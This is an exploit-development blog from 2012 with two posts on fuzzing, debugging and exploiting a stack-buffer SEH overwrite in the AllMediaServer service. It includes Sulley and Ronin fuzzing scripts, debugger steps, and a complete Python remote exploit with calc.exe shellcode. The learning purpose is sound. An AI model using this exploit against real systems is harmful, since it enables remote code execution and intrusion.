Tuesday, July 31, 2012

Sulley and Ronin fuzzing while debugging with Immunity of allmediaserver

Sulley and Ronin fuzzing while debugging with Immunity of allmediaserver



As I mentioned in the previous article that I wanted to do a write up on using different fuzzers and debuggers for the allmediaserver. If you haven't read the previous article you might want to check it out.  http://5x5sec.blogspot.com/2012/07/looking-into-exploitation-of.html . Ok lets dive in and see what we get.

Fuzzing with Sulley

First things first you should check out the piece about getting sulley setup. http://5x5sec.blogspot.com/2012/02/basic-sulley-fuzzing-with-linux-host.html . If you are going to run the fuzzing from a Linux box pay close attention to the section around "sulley/pedrpc.py diff" . This piece is crucial to gettting the fuzzing running from linux to windows. Once you have Sulley installed lets set up the fuzzing files.

This is going to be a simple fuzz script that is just going to do a simple HTTP fuzzing. The reason is that I haven't dove into the communication protocol that surrounds the allmediaserver but I am just taking a stab and see what happens.

The Fuzz file that I am using which I names  fuzz-all.py is this.

from sulley import *
from requests import httpall

sess  = sessions.session(session_filename="audits/http.session")
target = sessions.target("192.168.22.142", 888)
target.netmon = pedrpc.client("192.168.22.142", 26001)
target.procmon = pedrpc.client("192.168.22.142", 26002)
target.procmon_options = { "proc_name" : "mediaserver.exe" }

sess.add_target(target)
sess.connect(sess.root, s_get("HTTP"))
sess.fuzz()

Let's look and see that we are going to fuzz remote host 192.168.22.142, which you will change to be YOUR host, port 888 which the server is listening on. Also you can see that the netmon and procmon are listening on 26001 26002 which sulley will also connect to. You can also see that I am importing from httpall. This is a file that I created and that I placed in the ./requests folder named httpall.py.

 from sulley import *

s_initialize("HTTP")
s_group("verbs", values=["GET"])
if s_block_start("body", group="verbs"):
    s_string("AAAAA")
    s_static("\r\n\r\n")
s_block_end("body")

Great, now we have all the pieces to the puzzle from the remote side now lets get things fired up on the windows side.  The two pieces that you need to get running are the process monitor and the network monitor.  First make sure that the allmediaserver is running you can do a "netstat -an" and look for 888. Once you have verified that the server is indeed running, open a command prompt and navigate to the sulley install directory and issue:

python process_monitor.py -c c:\f.crash -p "mediaserver.exe"

This will start up the process monitor for the mediaserver.exe program. The next piece is that you need to start the network monitor by doing the same thing , open a command prompt and navigate to the sulley install dir then issue:

python network_monitor.py -d 0 -f "port 888" -P c:\sulley
You will probably need to change a few things such as the device that you are listening on and the location that you are going to store your pcaps. I was in a rush so I just used the default sulley dir.

Ok lets fuzz. From the remote system just issue "python fuzz-all.py" and you should start to see the magic happen.


Once we start the fuzzing we really don't have to wait too long and we see a break with an access violation!


Let's take a look at the web interface of sulley and see what we get.


As you can see we have the crash. As you can see that when we sent 6494 bytes the server crashed. If we click on the test case # we will get a more detailed view of the case of the crash.


As you can see we have an access violation in which we have ECX and EIP overwrite. CRASH!!

Fuzzing with Ronin

To get started with Ronin you need to get it installed. Since it isn't installed by default on backtrack or other distro's you will need to follow one of the guides here. http://ronin-ruby.github.com/docs/ . Why did I choose Ronin? Why not! So I am going to assume that you have gotten Ronin installed and are ready to get started. First lets make sure the allmediaserver is started as before and use immunity to attach to the mediaserver process with a ctrl+f1. Once verified we want to start fuzzing. Since I am just going to do a simple fuzz I am just going to fire up a pcap to watch the traffic.  I did this by:

tshark -i eth2 -x port 888
 Now that we have the listening going lets set the fuzzing. Again this is just a simple fuzz so I don't need anything fancy so I am going to set up a request file and call it request. Inside this file I am going to add a phrase to fuzz. This could be anything such as a GET PUSH , etc . I am simple going to use:

http://hi
now that I have the request file set I am going to start the fuzzing. This is simple by issuing:

./bin/ronin-fuzzer -i request -r hi:A*1-2000 -t 192.168.22.142:888
What I am going to do with this is take the request file and substitute the phrase "hi" with A's from 1 to 2000 of them. The Fuzzer is very fast and was having some issues so I had to make a change to the lib/ronin/ui/cli/commands/fuzzer.rb file and add a sleep time "sleep(2)" prior to the connection to slow the requests.
          def fuzz_network(string,index)
            sleep(2)
            print_debug "Connecting to #{@host}:#{@port} ..."


  This is what you will start to see.


 After some time you will come to this and we get a crash!


 As you can see that we have a crash at 1064. Why not 1072? Well from the template that we used you have to account for the extra "http://" at the beginning. Adding these up you get your 1072, and we are inline with exactly what we had in the previous post. I really like the simple fuzzer portion of Ronin  and could have easily created a more valid request file to be fuzzed but since I was going for speed and luck this is where I started. Now that we have fuzzed and got a break we can start to what is happening on the client.

Debugging with Immunity debugger

Now lets take a look at what has been happening on the client. As mentioned during the Ronin fuzzing you should have attached the Immunity debugger to the mediaserver.exe process and hit the run button. You should have started with something similiar to this.



Once we started to fuzz the using Ronin and we get a crash we should end with something similar to this "Access Violation" nice!


So we can see that we have an access violation and that we have "41414139" as you can see this is because it is trying to do "EDX-8" which gives us the "41414139". This also shows us that we have EDX overwrite but this is not as similar as the Sulley fuzz. lets give it a shift + f9 to pass the exception and we end up here with the ECX overwrite and EIP at "41414141". While we are here lets hit alt-S and take a look at the SEH chain and we can see "41414141".Nice.


Let's continue forward and throw a pattern at the server. First, lets restart the server then reattach the debugger to the process. Once this is set we can send the same pattern that we used in the previous post. We send the pattern and we get the pattern. This is where the magic happens.



We are going to use Mona.py . I suggest giving this project a look over since it makes everything so much easier. http://redmine.corelan.be/projects/mona . Great project. So I will assume that you have taken a moment to read the project and have mona installed. Since we are at the crash and we can see that we see the pattern in the SEH chain , we want to find the location of the offset. Mona does this easily by issuing "!mona findmsp".


As you can see it gives a plethora of information inlcuding the offset "1072" that we have the SEH overwrite and how much after we have overwritten. This matches up with what we have found doing the Ronin fuzzing. So let's test that out and send the A's B's and C's to see.


Again, reset the service attach the debugger and send the data. We get the crash and we look at the SEH chain and we see our "42424242" and "43434343"



Now I want to do one more thing with mona.py to demonstrate how awesome it is.  let's issue "!mona seh" . This will yield lots of valid pop pop ret  instructions that we can use for the construction of our exploit. So pick one that you find and give it a try. We will do the same again as our previous post and send A's then "\xcc" for the int3 and then the pop pop ret. We send the data and we get..INT3!!



 Now we are at the exploitation phase that you can choose to do what you want sending calc.exe or instructions to do something but that is up to you.  In the next post I will discuss using Ronin to exploit this service. Hopefully this time the post gets posted since this is the second write of this since I lost have for some reason:(  Thanks again to all the developers of the tools and techniques that I have demonstrated.

 

references:

http://ronin-ruby.github.com/
http://redmine.corelan.be/projects/mona
https://github.com/OpenRCE/sulley
http://immunityinc.com/products-immdbg.shtml




Tuesday, July 24, 2012

looking into the exploitation of allmediaserver

First off I wanted to say that the credit goes to the authors of the exploit that I am going to peer into.
             'Author'   =>
                    'motaz reda <motazkhodair[at]gmail.com>', # Original discovery
                    'modpr0be <tom[at]spentera.com>', # Metasploit module
                    'juan vazquez' # More improvement

Usually during the start of my day I usually do some exploit workouts just to keep fresh with just some simple exploits and methods. Sometimes I like to look into what makes other exploits tick and for some reason the allmediaserver exploit that came out a few days ago caught my eye. http://www.exploit-db.com/exploits/19857/ .

I am going to do a few things with this server just to figure out what makes it tick. I am going to go through the fuzzing , debugging with windbg and immunity, and the exploitation with custom scripts and Ronin.

This post is going to go through the a custom fuzz, debugging with windbg and custom script exploitation. The Following post will be with fuzzing tools, immunity debugger and Ronin.

First Things First


Lets get a copy of the software that is exploitable. Luckily this software is still available for download in the version that is exploitable. Once I got a copy of the software I ran it to test it out and see how it works and what everything is listening on. On preliminary  glance you can see the mediaserver is listening on 888.

Lets step back and take a look at the exploit code. http://www.exploit-db.com/exploits/19857/ . This is a metasploit module that is great since is breaks out the sections of code and makes exploitation of the service easy. I like to look deeper in the things that I exploit to see what is going on and why the exploit code is doing what it is doing. I am going to admit right now that I am not a Ruby dev, I code in Python but I can walk my way around Ruby.

Looking at the code you can see a few things the "ret" which is going to do a set of instructions , which it spells out. Also you can see other pieces such as some rop and the buidling of the rop. So looking at this it would seem a little complex so I am going to simplify it. let's fuzz.

So I am going to start with the fuzzing script that I used in the post where we attacked our custom app. http://5x5sec.blogspot.com/2011/02/in-beginning.html .
 I am going to guess and start fuzzing in a dumb manner meaning that I am not looking into the communication protocol and just attacking by sending some A's . I starting by sending A's in 20 bytes increments and we get a crash!

 
Great !!! Ok lets just narrow it down and make the code go in single byte increments since the crash really isn't that far out. So we make the change and relaunch and we get a crash again at 1072!


I reran again just for giggles and sure enough the same results, perfect.

Debugging

 Now that we have the crash lets look at the system that has crashed.  This is running on windows xp sp3 which is one of the options in the exploit file. I am not going to go into the setting up of windbg for debugging since there are many tutorials on setting it up. By using windbg you can see the crash.

we get to see that there is an access violation happening. Sweet and we can see why. The current instruction is doing an edx-8 and since we overwrote edx with 41414141 we get the 41414139 issue. This doesnt give us the whole picture yet. Let's look at the exception handling that is going on with !exchain.

So we can see that the seh error handling that will happen but lets look into this a little since we are getting "invalid exception stack" by dumping what is going on at that location "d 0226fd74".


Looking at this it seems just a little strange as you can see the 0a in the beginning if you look back at the fuzzing you can see that there is an 0a at the end of the fuzz. Could this be ours?? lets take a look and dump the location  minus 10  " d 0226fd74 - 10" .

Bingo! it was ours, we get our 41's . So now this is the game. We have the control that we want but we need to confirm it all. lets throw 10 more 41's at the program and see what we get.

Sending and catching the bug we get to see in windbg the story.

We have overwritten the seh and next seh. This is great since now we just need to construct the exploit.


Exploitation

Now that I have proven to myself that we have control , I need to prove that I indeed do have the control. What I am going to do is the old give the seh and nseh a different value to see the separation. With this I am going to make the seh B's or x42's and the nseh 43's or C's . Lets do this so it will look like this "1072 A's + 4 B's + 4 C's " .

We can see the separation and that we are on track for some manual exploitation goodness. So lets not waste any more time and throw a pattern at it just for good measure even if we already know all the locations from the fuzzing and debugging but lets do it anyway. With this I sent a 2000 byte pattern and we get this.


We translate the information like this and we come to find out that again we are on track.


What we need next is a POP POP RET to go into the nseh overwrite location to get me to the seh. I am not going to go into why since there are numerous tutorials on why or about doing a SEH overwrite exploitation. Well maybe if people want to hear about it.  So lets look for a POP POP RET since we don't care about what kind I am going to look for "5e 5b c3" like this.

As you will see there are a lot of them so I am going to use the one that showed up last. There is no reason just because I am lazy. So what we are going to do is attack and make SEH "cc" so that we get an int3. If we get an int3 we know that our pop pop ret worked. fire away.

And we get..

Nice! We get our int3 and we can see that eip is pointing to our 4 cc's . So lets do a short jump 6 to jump over the code and land on an area that can add some shell code. So what I am going to do is change the SEH to "EB 06 90 90" for the jump and I am going to add some D's to show that we landed in our bed of D's .

So our code is going to look like this "1072 A's + jmp 6 + pop pop ret + DDDDD" or "AAAAAAA+ EB069090 + 5ec0d500 + DDDDDD"

We attack the debugger run it and set a break point at  00d5c05e so we can catch the execution as it happens. Now launch the exploit and watch the fun. We can see we hit the break and we get to step through the debugger and see the pop pop ret.

Now lets look at eip and see where we are.
woot! we are at the jmp +6 . Now lets step once more and look at eip and see if we are in the h0t bed of D's.
yes we are.

All that is left is to craft the exploit with some shell code which I used calc since getting calc is waaaaay cooler than getting root. So here is the code that I used.


Here is the C&P version

import socket
import sys

junk1 = "\x41" * 1072

seh =  "\xEB\x06\x90\x90"
nseh = "\x5e\xc0\xd5\x00"

# shellcode is 158 long
# this will pop calc.exe on the remote system
shellcode  = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode += "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
shellcode += "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
shellcode += "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
shellcode += "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
shellcode += "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
shellcode += "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
shellcode += "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
shellcode += "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
shellcode += "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
shellcode += "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
shellcode += "\x7f\xe8\x7b\xca"

evil = junk1 + seh + nseh + "\x90" *10 + shellcode

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.22.142', 888))
s.send(evil +'\r\n')
s.close



this is what I got!




So as you can see this was just a simple SEH overwrite. I am still not sure why this caught my attention to work through but it did and I am glad since I enjoy just looking into the exploits that happen and are our there. Next like I mentioned I am going to use other tools including sulley and Ronin to accomplish the same results. why? why not!